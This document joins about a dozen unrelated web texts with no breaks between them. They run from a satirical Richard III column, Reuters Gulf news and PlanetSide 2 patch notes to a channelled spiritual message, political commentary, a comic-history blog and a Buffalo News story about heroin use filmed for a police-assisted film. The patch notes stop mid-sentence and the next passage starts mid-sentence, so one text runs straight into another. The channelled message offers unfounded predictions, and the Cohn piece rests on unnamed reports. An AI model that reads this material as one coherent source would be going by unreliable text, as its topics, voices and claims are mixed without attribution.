Well we can’t be doing with two funerals. Not in Austerity Britain. Don’t know if you’ve noticed, but the country’s up against it right now. We’re mired in debt, there’s an election on, the cold war’s simmering again, people are running off to Syria, and what are we doing? Burying a king from the middle ages. While A&E units are shut down or shat on, we’re expected to tug our forelocks and gaze at our shoes, whispering King Richard’s name with hushed reverence as the funeral cortege rolls by, accompanied by people dressed as knights and minstrels and giant turnips. No. No. We can hardly slag off Isis for being medieval when we’ve voluntarily turned the news into a bonus episode of Wolf Hall.
What did Richard III ever contribute to Britain? He reigned for two years, had his arse kicked at the battle of Bosworth Field, and spent the next 52 decades in a petulant dead sulk, lounging around doing dick all for anyone. Where was he during the great fire of London? Or the Jack the Ripper murders? Or the second world war? Or the 2007 Celebrity Big Brother race row? When his subjects were crying out for guidance, where was King Richard? Relaxing in the ground, enjoying an indulgent rot in his VIP car park. Just because you qualify for a disabled bay, doesn’t mean you get to hog it for 500 years.
Even the most dedicated historian would agree – would run across a motorway to agree – that Richard III has contributed less to Great Britain than, say, Adam Woodyatt. Or Olly Murs. Where are the statues of Murs? The portraits? The tapestries? OK, so they probably exist, somewhere, in the attic of a demented fan – but that’s not the point. Despite standing accused of nephew murder twice over and being dead for 500 years, King Richard is enjoying way more fawning press than Murs right now, just because he had blue blood in his veins. Not any more. He doesn’t even have veins. Or eyes. Or kneecaps. He’s rubbish. Yet still it’s all, “Ooh, isn’t King Richard brilliant” and, “Ahh, what an honour to witness this moment of history.” Jesus wept. Just climb in the coffin and kiss him, why don’t you?
Surely it’s time to make King Richard pay his dues. We’re often told the royals are good for the country because they raise our international profile and encourage tourism – so we should be wringing every penny out of Richard III. We’re not even burying him during tourist season. We’re missing a trick here. Several tricks in fact.
Why rebury him once? Why not make it a regular event, like the changing of the guard? Dig him up at the start of each month, bury the individual bones at random beauty spots around the country, and turn it into a treasure hunt for tourists. Follow the clues on an accompanying app; see if you can locate his skull. Congratulations! It was hidden in a bin behind Oblivion at Alton Towers. Now track down his elbow. Then his pelvis. First to find six bones receives 20% off their B&B bill and a family-size jar of Marmite.
Actually, why rebury him at all? He’ll only go missing again. We should lace his bones together and turn him into a great big marionette. Have him dance to Uptown Funk on Ant and Dec’s Saturday Night Takeaway, then send him on a tour of the country, where he can perform jigs in market squares. Toss a coin at him to make him dance faster; manage to get one through his eye socket and you’ll win a balloon. All proceeds to the NHS.
That won’t happen of course. We’re far too reverential; even though he died so long ago he basically doesn’t register in the imagination as a real person any more. They might as well be burying the Gruffalo for all I care.
Still, at least maybe this time they’ll be smart enough to bury him with a name badge nailed to his ribs – or maybe a baseball cap with his initials on it – so when some poor sod digs him up again in 500 years’ time, they won’t have to carbon-date his bones in a holographic TV special just to find out who he is. The hoity-toity dead old prick.RIYADH (Reuters) - Saudi Arabia has invited Iran’s foreign minister to visit, Riyadh’s counterpart said on Tuesday, hinting at a cautious thaw between the Gulf’s two biggest, most bitter rivals since Tehran reached an interim nuclear deal with world powers.
Saudi Arabia's Foreign Minister Prince Saud al-Faisal attends the opening of the Geneva-2 peace conference in Montreux January 22, 2014. REUTERS/ Jamal Saidi
Iranian Foreign Minister Mohammad Javad Zarif has visited most of Saudi Arabia’s Gulf Arab allies including Kuwait, Qatar, Oman and the United Arab Emirates since the nuclear pact, which eased some Gulf Arab worries, but has not been to Riyadh.
Foreign Minister Prince Saud al-Faisal told a news conference that Zarif had been given an invitation to the kingdom but had not yet responded. He did not say when Riyadh issued the invitation.
“...This intention to visit has not become a fact..., but any time he sees fit to come, we are willing to receive (Zarif),” Prince Saud said in the Saudi capital Riyadh.
Relations between Iran and most of its Gulf Arab neighbors have been improving since the biggest Shi’ite Muslim power agreed preliminary limits on its nuclear activity last year, but ties with Sunni Muslim arch-rival Saudi Arabia remained chilly.
Gulf Arab states, like Western powers and Israel, fear Iran has been using its declared civilian nuclear energy program as a front to covertly develop an atomic bomb capability.
Bahrain and Saudi Arabia have also accused Iran of trying to meddle in their internal affairs by stirring up their Shi’ite communities to revolt. Iran says its nuclear program is peaceful and denies interference in these countries’ affairs.
But since taking office in August, moderate President Hassan Rouhani has overseen a conciliatory shift in Iran’s hitherto confrontational foreign relations, culminating in the November 24 interim nuclear deal.
Ties with Saudi Arabia, however, are complicated by the fact that the two back opposing parties in Syria’s civil war. Riyadh is a leading supporter of rebels fighting against Syrian President Bashar al-Assad, who is a close ally of Tehran.
“We’ll negotiate with them (Iran), we’ll talk with them,” Prince Saud said. “And our hope is that Iran becomes part of the effort to make the region as safe and as prosperous as possible and not become part of the problem.”It's about time. Muller Time that is.
This is an excerpt from an interview of Marcy Wheeler by Amy Goodman and Juan Gonzalez at Democracy.org. There may be another sealed indictment referred to as indictment A.
If so it very much contradicts the Trumpian wishful thinking that the investigation is winding down.
Marcie Wheeler
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AMY GOODMAN: So, this indictment is called “Indictment (B),” right? So, who is “Indictment (A)”? MARCY WHEELER: We have no idea. The docket just chronologically before the Manafort-Gates docket is also sealed. So it is possible somebody else got indicted. And given that we don’t know about it, if that is the case, then that person may be cooperating.
Ms. Goodman does not explain where the A and B come from or why B was executed first. It’s just thrown into the conversation and Ms Wheeler seems to know what she is talking about. Goodman is very professional so it’s out there is a source somewhere. More will be revealed.
Spoiler alert for those who don’t follow links Wheeler goes on to speculate that indictment A could be Tony Podesta or Michael Flynn and why she thinks so but it’s just speculation. She also reveals that Manafort is basically bankrupt and why which will hamper his ability to defend himself going forward which puts increased pressure on him to flip. But it’s a good read and not that long. Check it out.
They also talk about the increased vulnerability of Jeff sessions which gives me great pleasure. Aside from Trumpf, Sessions is the one I would most like to see winning an extended vacation at Club Fed.
I will note that they have reverted back to the idea that it is one person but as with Monday it could easily be a package deal. Perhaps a surprise package for certain miscreants.
He who laughs last laughs best.
Happy November.As you all have noticed, the reverberations from yesterday’s show of strength are still pulsing through you, and it will contiune to do so for quite a while yet. These are powerful energies of change dear ones, and as such, much will be pushed up in their wake. We do not necessarily refer to personal lessons this time, although they will still surface in those of you where it is deemed as necessary, but what we refer to, will be more noticeable in the outside world.
Again, mankind have been ingrained with a deep fear of change in many ways, and as such, these changes will instill fear in many that have yet to see the benefits from such a change. In other words, things will be pushed out by the light and into the light, and they will be hard to ignore, even by those in power. So expect this to be a summer with much noise in many ways, but also know that you will hear much jubilation mixed in between the choruses of anger and frustration that will continue to erupt.
For it is indeed time for change on so many levels now, and this time, the tide of change cannot be stopped, no matter how much fear those in charge of keeping up status quo will try to instill in those that surround them. For they will indeed find that the fear they have trusted as their ally is no longer the same powerful friend it used to be. Rather, it will turn out to be a shadow of its former self, and as such, no match for the light that is starting to suffuse so many of your fellow men and women all over the globe. So watch in amazement as one by one they will shake off their old companion, the fear, and start to embrace their own powers in so many ways. This will be a summer of discontent, but it will turn out to be the summer that will begin to show you all just how much power the populace has within. And as you have watched yourselves grow immensely these last few weeks, you will start to see the same things happen in people all around you. For you have marked a path for them to follow, and we think you will all be astounded by the number of people already starting to follow in your wake.
So again we must thank you all for the work that you do, and now, you will all start to get many, many confirmations of the necessity of being a pathfinder. For you will all rejoice in the knowledge that without you, the pioneers, there would be no marked trails for the multitude that suddenly find a strong urge to break out from the old confines and seek their fortunes in a world less restricted than the old one. For the fear is flagging, and the light is growing stronger, and so, the match has been declared as well and truly decided. For now, you will all feel the heightened rush of excitement as you look around you and see the prison walls collapse in place after place. For the truth will break free from these old walls, and the truth will set everyone free with it. So expect much noise, as we said, but expect to hear how the anger will subside into shouts of elation as one by one, your fellow men will start to see the same truth as you.
AdvertisementsThe PlanetSide 2 Public Test Server will come down this evening for an update.
These notes continue to build on the Critical Mass update and Combined Arms Initiative as discussed in previous patch notes and dev articles.
Meta
Additional polish and improvements to faction points dropdown.
All “normal” (old) continent alerts have been disabled.
We’re currently working to make the territory scoring statistics update more quickly on the main map header.
Population controls have been enabled on PTS.
The highest populated faction is now balanced against the runner-up, instead of the lowest populated faction, and overpopulated factions will funnel players into VR, where they can queue for a slot on an active continent.
Faction queue only activates when there are more than 75 players on a continent (and more than 150 players on all continents combined.)
Infantry Adjustments
Nanoweave Armor
Removed archer resist type benefit as that resistance type no longer exists.
Rank 5 now reduces non-headshot melee damage by 20%.
Rank 5 Nanoweave Armored targets now show a resist icon upon impact.
Safeguard Implant
Rank 5 benefit now instantly restores 200 shield health upon being revived as infantry or 500 health upon being revived as a MAX unit, instead of reducing melee damage.
Underbarrel Grenade Launcher
Direct damage from 800 to 500
Underbarrel Smoke Launcher
Direct damage from 800 to 250
Nano-Repair Grenade
Repair Grenades now stick to generators and terminals.
NS-45 Pilot
Minor audio adjustment.
NSX Daimyo
Modified firing audio.
MAX Adjustments
Kinetic Armor
MAX Kinetic Armor now reduces different resist types by 20%, based on rank, similar to Nanoweave Armor.
Rank 1: Reduces small arms damage by 20%.
Rank 2: Reduces small arms and heavy machine gun damage by 20%.
Rank 3: Reduces small arms, heavy machine gun, and gatling damage by 20%.
Rank 4: Reduces small arms, heavy machine gun, gatling, and soft-point machine guns, damage by 20%.
Rank 5: Reduces small arms, heavy machine gun, gatling, soft-point machine guns, and melee damage by 20%.
Flak Armor
MAX FLAK Armor has been renamed Ordnance Armor.
This armor now reduces different resistance types based on rank, instead of increasing resistance percentage each rank.
Rank 1: Reduces common explosion damage by 50%.
Rank 2: Reduces common explosion damage by 50%, and infantry rocket damage by 20%.
Rank 3: Reduces common explosion, tank mine, and C4 damage by 50%; and infantry rocket damage by 20%.
Rank 4: Reduces common explosion, tank mine, and C4 damage by 50%; and infantry rocket and tank shell damage by 20%.
Rank 5: Reduces common explosion, tank mine, and C4 damage by 50%; and infantry rocket, tank shell, light AV, and A2 |
. ‘Why are you waiting?’ he asked. ‘If I have to die, why do you not at least free me from this agony as soon as possible? Or are you afraid of being held responsible for my having received an incurable wound?’ Critodemos told his commander that he would have to be held down during the operation. Alexander said there was no need, and went through the ordeal unflinching. When the barbed head was extracted, blood spurted from the wound, and Alexander finally fainted. At first the hemorrhage could not be stopped, and the onlookers began to wail as if for the dead.
The Macedonian troops, refusing to go to their camps, instead had stood in arms around the tent, waiting for news. Panic must have raced through them when they heard what they thought was the sound of death; without Alexander, they would be stranded at the ends of the earth. Mixed with that fear was the shame and grief that they had let him down. Inside the tent, the bleeding finally stopped, and Alexander regained consciousness.
Bad news never waits for confirmation, and a report of Alexander’s death sped from his camp to the main Macedonian camp on the Acesines, throwing the army into paralytic despair. Even assurances from Alexander’s senior officers were dismissed as forgeries. Reports of the army’s state reached Alexander as he recuperated, and he determined to address them in person. It was barely seven days, and his wound had not even completely closed when he arranged to be carried by ship down the Hydraotes to the main camp.
As his ship approached the quarters, he had the awnings pulled back so that the men could see him on his bed. They thought they were seeing only a motionless corpse until he raised a hand to wave at them, prompting wild cheering from the shore. As the ship docked, the Guard brought out a litter, but Alexander refused it, walked down the gangplank and, in an act of extraordinary will, mounted his horse to ride to his tent. ‘[A]t the sight of him, once more astride his horse, there was a storm of applause so loud that the river-banks and neighboring glens re-echoed with the noise,’ Arrian wrote. ‘Near his tent he dismounted, and the men saw him walk; they crowded round him, touching his hands, his knees, his clothes; some content with a sight of him standing near, turned away with a blessing on their lips.’
The officers assembled in the commander’s tent were far more serious. They remonstrated with Alexander for risking his life and thereby the survival of the army. This did not sit well with him, but he was cheered by an old Greek soldier who said in his broad Boeotian dialect, ‘Action is man’s job, my lord.’ The Mallians and the Oxydracae at this time sent delegations to offer submission. Alexander did nothing more than accept the proffered tribute and hostages.
After his recuperation, the Macedonian king sailed down the Indus to the Indian Ocean and then marched back to Babylon. Although there was more fighting, Alexander’s wound put an end to any more personal exploits. Lung tissue never fully recovers, and the thick scarring in its place made every breath cut like a knife. It probably rendered him vulnerable to whatever microbe finally killed him in Babylon two years later.
But Alexander, like his hero Achilles, had been willing to make the choice between safety and the sweet’savor of a life of deathless renown beyond the grave.’ That single moment on the wall of the Mallian citadel, to him, was worth it all.
This article was written by Peter G. Tsouras and originally published in the June 2004 issue of Military History.
For more great articles be sure to pick up your copy of Military History.
Sponsored Content:Yesterday, a live broadcast event on Niconico featuring voice actress Akane Fujita and Dengeki Bunko editor Kazuma Miki offered an update on plans for the anime adaptation of Tsukasa Fushimi and Hiro Kanzaki's Eromanga Sensei as its headline feature. A bonus on this concerned the latest developments of a life-sized statue based on the duo's earlier Oreimo.
The project continues the celebrations around the 10th anniversary of light novel author Tsukasa Fushimi's debut with a FIGUREX life-sized statue. First, Ayase Aragaki won out over Kirino and Kuroneko. Then, a posed was selected. Now, there's a 3D model of its design.
via @pKjd and otakomu
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Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime.Watching the determined tunnel-vision with which Senator Ted Cruz is quarterbacking the effort to defund the Affordable Healthcare Act is just the latest episode reminding me of a conversation I had with the late Jude Wanniski in 1997. Speaking primarily of the Republican Party of the 1980s and 90s he told me “Cedric, there are only three people who determine what other leaders think and do – there is Captain Wanniski, Captain [Albert] Wohlstetter and Captain [Milton] Friedman.” His audacious nature notwithstanding, the possibility that no three personages were more persuasive in assembling ‘teams’ of intellectuals, politicians, and journalists around ideas, tactics and public policy is plausible.
My deeper contemplation over the captainship of a GOP seemingly committed to a formula of two steps forward and one step backward, came in feedback received from Forbes op-ed Editor, John Tamny in review of my last column, “The Tragedy Of Rush Limbaugh’s Low Information Voter Theory” or ‘LIV’ – an effort to explain why Republicans have not been able to produce winning Presidential candidates. John wrote, “I agree, but wonder if the GOP needs to move to the center as much as its people must understand that people want growth, social tolerance, and less in the way of foreign entanglements. If so, then explain it, and do so well. The problem is they don't understand growth, and the voters seem to know it.”
The use of the word ‘center’ is taboo with many Republicans partly because of the reasons I delineated in my piece on LIV – it is a term that does not represent ideology as much as the phenomenon by which the nexus point of growth and redistribution is identified by a political personality. Again terminology is problematic for Republicans today because ‘redistribution’ has been equated with socialism without an appreciation that growth and redistribution are always considered in tandem by the electorate. Wanniski put it best in his Epilogue to The Way The World Works, that although “output must precede redistribution,” it was “not second-best, merely subordinate.”
But Tamny’s identification of a tripod of issues that the electorate desires – growth, social tolerance and less in the way of foreign entanglements – is brilliant and in my worldview, absolutely constitutes the center of American politics today. I have no knowledge of Tamny’s political affiliation but the GOP would do well to listen to someone with an ear to the electorate and who understands that politics is the art of compromise and the realization that the salient points of public opinion always reflect a legitimate underlying issue which can be translated into policy.
The current methodology of the GOP establishment which styles itself as a grassroots movement (yet no true populist is welcome for long) is of both Biblical proportions (“For the time will come when they will not endure sound doctrine; but wanting to have their ears tickled, they will accumulate for themselves teachers in accordance to their own desires, and will turn away their ears from the truth and will turn aside to myths.”) and ritualistic in nature (Jonah Goldberg accurately concludes that the Republican party is ideologically sound just not always effective, “…politics is about persuasion, and a party consumed by the need to prove its purity to its base is going to have a very hard time proving anything else to the rest of the country.” ).
Loosely formulating a Tamny-Wanniski model one can see that Jude represented the emphasis on growth, Milton Friedman social tolerance (if one considers the range of his libertarianism) and Albert Wohlstetter an emphasis on foreign policy. Of the three men, Wohlstetter’s consideration in the context of Tamny’s tripod is the most difficult. This due to the work of Wohlstetter’s neo-conservative disciples – Richard Perle and Paul Wolfowitz – men who have gone on to advocate the kind of foreign entanglements in Iraq and the re-shaping of the Middle East that would have made Republican Senator Robert Taft cringe last century. But Wanniski’s critique of Perle and Wolfowitz juxtaposed to his respect for Wohlstetter make it clear that he believed the students to be more dangerous than their teacher. In eulogy Jude wrote, “I became an occasional critic of Wohlstetter, on the grounds that the post-Cold War world should shift sharply from military chessplaying to diplomatic and economic stratagems. Albert, after all, never evinced much interest in foreign economic policy. That does not subtract from my belief that in the last half century, taken as a whole, there was no greater national asset for the free world than Albert Wohlstetter. Rest in peace, Albert, a peace we might not have had without your intellectual energy, creativity and genius.”
If I were to summarize the difference between today’s Republican Party leadership and that of 15 and 30 years ago I would say that there are no political artists or scientists on scene today as an ideological strait-jacket stifles creativity, innovation and risk-taking necessary to satisfy the demands of economy and demography.
Here, French political theorist Claude Henri Comte de Saint-Simon has something to offer. In The Organizer, Saint-Simon supposes that the loss of 30,000 government officials, bureaucrats religious leaders would not hurt the country as much as the loss of 3,000 leading scientists, artists and artisans concluding, “…this loss of thirty-thousand individuals, considered to be the most important in the State, would only grieve them for purely sentimental reasons and would result in no political evil for the State…” The rigid and angry quest for ideological purity from the corridors of power leaves little room for creativity in today’s GOP. Somewhere I imagine a cadre of Wanniskis, Friedmans and Wohlstetters operating in obscurity, drowned out by the loudest and most energetic activists. As Saint-Simon described of France two centuries ago, “The scientists, artists, and artisans, the only men whose work is of positive utility to society, and cost it practically nothing, are kept down by the princes and other rulers who are simply more or less incapable bureaucrats.”
Yet some Republicans do see a party today with greater leadership potential than the 80s Idea firm, Wanniski, Friedman & Wohlstetter, and with more positive impact than Rush Limbaugh. When I asked him to name three giants comparable to the GOP’s Big 3 of years past, Conservative Commentator Armstrong Williams argued without hesitation, “There are three men in the GOP who are on a higher level. Dr. Ben Carson is, when it comes to an appreciation for the Founding Fathers, values, and what we should hold as sacred. And you can’t even compare the respect that people have for him with Rush Limbaugh or Sean Hannity. Senator Rand Paul certainly understands economic issues and political ramifications. He’s a different kind of Republican – you will see him in the Black and Latino community doing radio and townhall meetings. And no matter who criticizes him he moves forward because he understands that in the long-run this is good for the Party and the country. And though Senator Ted Cruz is a lightning rod and an outsider, he represents many of those who are disgruntled with the system and want to shake it up because this country will not allow a Third Party. So what we have to do is find someone like a Ted Cruz who is a bomb-thrower and not looking for the respect of his peers in the Senate. He wants to say what most Americans say and the way they say it. And he prevents Members of Congress from getting too comfortable with each other, knowing that both sides of the aisle do each other’s bidding. He’s sort of in the spirit of Jim DeMint before he left Congress, keeping leadership mindful that it cannot separate itself from ‘we the people.’ ”
Having said that, Armstrong acknowledges that the GOP is in a bit of a malaise over the question it too often presents as output versus distribution. “The GOP is in a tough position because it is telling folks there is no free lunch, you have to live within your means and that you have to be responsible for yourself – in other words you have to earn the lunch and pay for it. The Democrats on the other hand are saying you don’t need to be responsible for yourself and don’t have to pay for the lunch and the State will take care of you, so therefore keep voting for us. In some respects that is an easier sale and hard to compete with. The appearance is that you are getting something for nothing. But as people demand that government show results for what it has ‘given’ out – the report card doesn’t reveal less crime, less poverty; or more wealth, entrepreneurship and business ownership; or that people are better educated or that we have more stability.”
He continued, with advice for his Party, “So the GOP has to be more tactful and show that the only ‘free lunch,’ is in fact a safety net that you pay for while emphasizing that a nanny state comes with a loss of freedom. It is not enough for the GOP to only say you’ve got to have work ethic, sacrifice and earn it. They have to say that sometimes the government does need to step in and help you with your unemployment, Medicaid and Social Security benefits - as a temporary bridge - but not as your destiny. Republicans have to show people how moving away from that kind of assistance helps the country in the long-run. What the Democrats have done over the last 50 years is a miserable failure but simply pointing that out is not enough. The GOP has a more difficult and sophisticated argument to make but not one that is impossible.”
Armstrong William’s interpretation of the marginal utility of Senator Ted Cruz as a ‘bomb-thrower’ is intriguing. Rand Paul certainly qualifies as one who understands the electorate’s desire for less foreign entanglements. And credible GOP deference to Dr. Ben Carson could signal a bit of social tolerance for a party that treats effective ‘minority’ outreach like a castor oil smoothie.
Yet, the issue of identifying the desire for growth even before communicating its benefits seems to be where we always end up with Republicans and where even these three leaders are still found wanting.
I think John Tamny said it best, “The problem is they don't understand growth, and the voters seem to know it.”
Whether it defunds Obamacare or not, the GOP remains Captainless.So last week we talked about a Golden Age Canadian superhero and I thought it might be nice to continue our brief foray into international Golden Age superheroes and talk about a Russian comic book character.
Russia has a long and proud tradition of folklore heroes and fantastic individuals. After all, you don’t wind up becoming the home for invading Vikings and Mongols and not develop a long and violent history.
However, Russia’s contribution to the comic book world has been somewhat limited. This can probably be attributed to two reasons. First, it’s a well known fact that Russia’s greatest contribution to the world’s literary scene is the long and impossibly dense novel.
Second, while America was using its superheroes to fight Nazis in the comics, Russia was in the middle of fighting the Nazis in a war that would have made the Red Skull cringe,
and this was right after Stalin took over and celebrated by killing even more of his countrymen.
(side note: this is the most G rated picture I could find. Reading up on the Soviet purges is not for the faint of heart)
So Russia/the Soviet Union was a little too preoccupied to get in on the new comic book fad, but that didn’t stop the Americans from trying for them.
Today we’re going to talk about an American made Russian hero: Igor the Archer.
Origin and Career
Igor made his first appearance in EC Comics’ International Comics #1 in the Spring of 1947.
As covers go it’s pretty good, not up to the excellent EC Comics standards, but pretty entertaining.
While I can’t imagine the exact logic behind the creation of the character, I can imagine that the idea was tossed around as something exotic for an American audience. After all, we had just finished fighting a war with the Soviet Union and while they were still our friends,
Russian culture and history was just exotic and mysterious enough to be unknown and exciting.
As for the character himself, who created him is something of a mystery. We’re pretty sure that the art was done by Captain Marvel and Superman stalwart Kurt Schaffenberger,
and it’s rumored that the writing was done by comic book legend, creator of Barry Allen as the Flash, and author of almost 4,000 comic books, Gardner Fox.
As for the character himself, well…he’s an archer from a noble family and the only champion of the oppressed who dares to fight back against a corrupt sheriff, I mean czar.
Comparisons to Robin Hood are inevitable. No seriously, they even have an archery competition where the hero manages to split an arrow with another arrow.
The opening story itself is pretty bog standard, evil ruler tries to arrest the good guy and the good guy manages to escape. It’s worth mentioning that he actually does this really cool “arrow ladder” thing to escape that would make Legolas proud.
It’s worth mentioning that the artwork is pretty good and the costumes are fairly historically accurate. That hat that the czar is wearing? That’s modeled after the crown of the early Russian czars.
Also, the idea of a Russian ruler abusing the absolute power he has over the common people is nothing new considering that the Russian czars have a long history of violence against their subjects.
So we have the set up for a long running and successful comic book series starring a character that is just familiar enough to audiences to be welcomed, just exotic enough to be interesting, and created by a writer and artist who were well known and successful for one of the greatest comic book publishers of the Golden Age.
What could possibly go wrong?
So what happened?
Everything went wrong almost immediately.
For starters, America and the Soviet Union went from being people who tolerated each other to passive aggressive neighbors with the capability to end the world at a moment’s notice.
superheroes went the way of the dodo bird and EC Comics switched to publishing highly successful horror comics that got them in so much trouble they had to shut down,
and Gardner Fox would go on to become one of the greatest comic book writers of all time.
The origin story above is the only evidence I could find online of Igor’s existence. Apparently he had more appearances in more modern comics, but I can’t seem to find them.
With all things considered, it’s not very surprising that Igor the Archer didn’t become the next big thing. Comic books would later use the Cold War to turn the Soviet people and culture into a comic book staple. More often than not, they were portrayed as villains.
But every now and then they had good guys like Colossus (my personal favorite X-Man),
and devious antiheroes/double agents like Black Widow.
In many ways, I’m actually kind of sad that Igor the Archer didn’t go on to have a successful career. He was from an interesting time period of history and while his power set and motivation were a bit cliche, I think that with the proper guidance and a very passionate writer and editor, he could have turned into a great hero.
AdvertisementsPresident Donald Trump’s National Economic Council director Gary Cohn reportedly vowed to a former Goldman Sachs partner that he would block Trump’s nationalist agenda from being implemented.
A former Goldman Sachs executive told Vanity Fair for a recent profile that Cohn has been working with Jared Kushner, who is reportedly “starstruck with” Goldman Sachs globalists, and fellow former Goldman Sachs executive Dina Powell in order to temper the “reactionary influence of people around the president” like “Peter Navarro, head of the National Trade Council” and White House chief strategist Steve K. Bannon.
Cohn is reportedly “dedicated to making sure the U.S. doesn’t start any ridiculous trade wars or do something ‘crazy’ on health care.”
“I’m not going to let it happen,” Cohn reportedly told the former partner.
Cohn, a registered Democrat who reportedly donated to Hillary Clinton’s 2016 presidential campaign, is rumored to be a top contender to be the next Federal Reserve chair.
Cohn and Powell have reportedly been quite the tandem, teaming up in the White House to try to push Trump away from the more pro-America, nationalist policies that endeared Trump to his “people”—the country’s working-class voters who have stood by him through all of his various “scandals” while the GOP elite’s first instincts have been to bail.Hello everyone.
So this past week i went without a few things that had become (unfortunately) habits.
Ill start with my phone. Managed to lose my phone whilst partaking in some bachelor party hijinx. Uber driver said he couldnt find it…bullshit. It wasnt bad, i have a backup device i can use on wifi. Going whole days without connection to the internet was fairly refreshing. I ended up getting a new phone, a dumb phone, so we shall see how disconnecting from a smart device will go. so far the toughest part is getting used to navigating with physical keys again lol
Secondly, i didnt drink all week. I’ll say this, that bachelor party was a wake up call. I like to think i can keep my drinking under wraps, but this particular day has me wanting to take a much needed break. I usually feel better when i dont drink too, so again, we shall see. Getting an early start to “No Drinking January” as long as i can make it through the holidays without. Thanksgiving (check) christmas will be a much bigger challenge.
and last but not least…well it is the least favorite of my “habits.” i am done for good. bad news for the bears. i wont even say what it is, very shameful. i will refer you to a famous rick james quote from Chapelles show. if you know what im talking about then congrats, you now know my secret shame. its funny how fast things can get out of hand, and how quickly you can realize all the mistakes youre making because of one silly little thing. simply it is not worth it, not worth any of it. heres to a clean me.
so alas…i proclaim to you…all however many of you. I am kicking these things down the gutter. 2016 is winding down and im trying to wind myself up to get a good start on 2017. Have a couple big life things coming up, and i very much want to be prepared and make the best of them. Happy Thanksgiving everyone, may your holidays be blessed with joy and love.Therion_I said: To sum up: They released a batch of them which fail on PCI-E 3.0 on 16 lanes. 8 lanes is fine. PCI-E 2.0 is fine. Read the link if you're actually "curious" (see, I can do sarcastic quote marks too ;) )
I wasn't being sarcastic, actually, I was curious. And I checked out the link. You are misrepresenting the facts here. Firstly, by "their answer" (not sarcasm, just a quote) is actually one gold member's reply who explained to you very honestly and clearly why your and the other 6 people (since I'll assume you're the 7th) discussing your problems are out of his area - I think he meant that the community forum isn't really tech support - though he did state he will inform the admin, and he updated you all that he did so - you should have mentioned that just for fairness sake. And yes, Gigabyte should address your issues, I wholeheartedly agree with you. You might laugh at my suggestion, but I'm serious - if you have any friends/acquaintances who speak Mandarin, call their HQ in Taiwan - the tech support there can get you in direct contact with engineering, and those guys will always be brutally honest. They even pushed out a BIOS update from a mobo once after I contacted them to explain a really odd phenomenon I was experiencing - and that solved my problem.Robert Sagliani was using heroin again, this time in a public restroom at a Main Place Mall restaurant.
A Buffalo police officer was outside the restroom door, and others around him in the restroom knew what he was doing. And it was all captured on film.
But Sagliani wasn't worried about being arrested. The 37-year-old addict figured the police officer knew what he was doing that day, because she recruited him to be there.
He had agreed to be in a public service short film about the dangers of drug abuse – part of a deal he thought he had with police after they arrested him and his 63-year-old mother in late December for heroin possession.
For participating in the film, police would arrange for him to get into a drug treatment program – and, he thought, dismiss his pending drug possession charge.
But first he had to play his role in the film. And it turned out to be more than the director was hoping for. Asked to demonstrate how to prepare heroin to inject, Sagliani went off script and snorted a quick hit before getting to the demonstration. The cameras were rolling and the director kept the snorted heroin in the movie.
“I filmed a real drug addict doing drugs,” Greg Robbins, the movie’s producer, writer and director later told The Buffalo News.
But Sagliani's drug use in the public restroom has raised questions about how much the police officer knew about what was being filmed that January 2017 day and the department's role in recruiting him for the short film following his December arrest.
Sagliani's lawyer wants charges against Sagliani and his mother dismissed.
“It is abhorrent that the Saglianis would be encouraged to illegally use heroin, endangering their lives, in the interest of a film which could be used as an election year campaign commercial,” defense lawyer Mark A. Sacha wrote in a court motion.
Sacha said the police showed “extremely poor judgment and intentionally improper conduct” and that what happened to the Saglianis “makes a mockery of the legal process and the opiate crisis.”
“Although drug possession is a crime, it is even a greater crime to allow law enforcement to be used as a tool of politics and, in the process, manipulate, coerce and endanger at-risk defendants," Sacha said. "Robin Sagliani is 63 years old and has no record. She may be addicted, but she is not a prop or a guinea pig.”
For now, prosecutors continue to press the drug charges against the Saglianis stemming from their December arrests.
But Erie County District Attorney John J. Flynn also referred the allegations in Sacha’s dismissal motion to the Buffalo Police Department for an internal investigation.
If the claims are true, it is “disturbing,” Flynn said. “I mean, what if somebody died?”
"Casting call"
It was right around Christmas when the Saglianis were picked up in a traffic stop in downtown Buffalo. According to Sacha’s motion, Officer Elizabeth Baker approached the stopped car and instructed the occupants to “turn over the drugs.”
Baker allegedly reached inside to pat down Robert Sagliani. At some point, he said, she started to choke him. Sagliani said he fought back. Eventually, police found a small amount of heroin on him. His mother also had drugs in her purse.
Both were charged with criminal drug possession. Robert Sagliani also was charged with assault, resisting arrest and obstructing governmental administration for scuffling with the officer. He was taken to Erie County Medical Center to be examined for bruises.
But at the hospital, Baker’s demeanor changed, Sagliani said.
“All of a sudden, she got real nice,” he said.
According to Sacha's motion, “Officer Baker told Robert Sagliani that they needed ‘real heroin addicts’ for the film. She told Sagliani that if he helped make the film, she would deal with his criminal charges in return.”
Baker allegedly gave Robert Sagliani her business card and put both defendants in touch with Robbins.
Sagliani said he and his mother met with Robbins. He said he used money given to him by the film crew to buy heroin for the restroom scene.
-----
Robert Sagliani's role in the film begins at 12:08. He is shown snorting drugs and describing how to prepare an injection of heroin. (Editor's note: The movie was posted to YouTube when this story was originally published June 13. After the story went live, the video was taken down.)
-----
Also according to court papers, when Robert Sagliani and his mother showed up to the restaurant without a syringe, Baker called Robert Sagliani's girlfriend and asked her to buy one. He said a member of the film crew gave him more money than he needed to buy the drugs for the movie. He said he kept some of it to buy more drugs for himself.
Robert Sagliani told The News that he did not offer be in any movie but felt pressured to do so after his arrest to get his charges dismissed.
“In this case, Officer Baker intentionally violated Robin Sagliani’s and Robert Sagliani’s right to counsel," Sacha wrote in his motion. "It appears that the entire arrest could have been a casting call (with) the Buffalo Police acting as casting director for the film.”
'Playing with death'
The idea for a drug education video came from Robbins, who has a background in Christian-themed entertainment. He asked city leaders for research help for a fictional film he wanted to make – a movie that would be a graphic response to the mushrooming opiate epidemic. Robbins said he presented the idea to Mayor Byron W. Brown, who then recommended to Police Commissioner Daniel Derenda that his department help in any way it could on the project.
Robbins said he would make the short film with a volunteer cast and crew and that it would be free to any agencies wanting to show it.
That’s how Robbins came to work with Steven Nichols, a Buffalo police captain for community policing and special events.
"The mayor said, ‘Let’s go with this,’ ” Nichols said in February. “It’s a positive message, as dramatic as it’s going to be.”
Nichols recently said the Police Department's cooperation, which involved ride-alongs for the director, did not include sanctioning real drug use, on camera or off.
“I cannot condone breaking the law. It’s illegal to buy (heroin), it’s illegal to possess it,” Nichols said. “It is definitely an area we don’t want to get into. You’re playing with death.”
If any real drug use occurred in the film, Nichols said, it would not have been with police assistance.
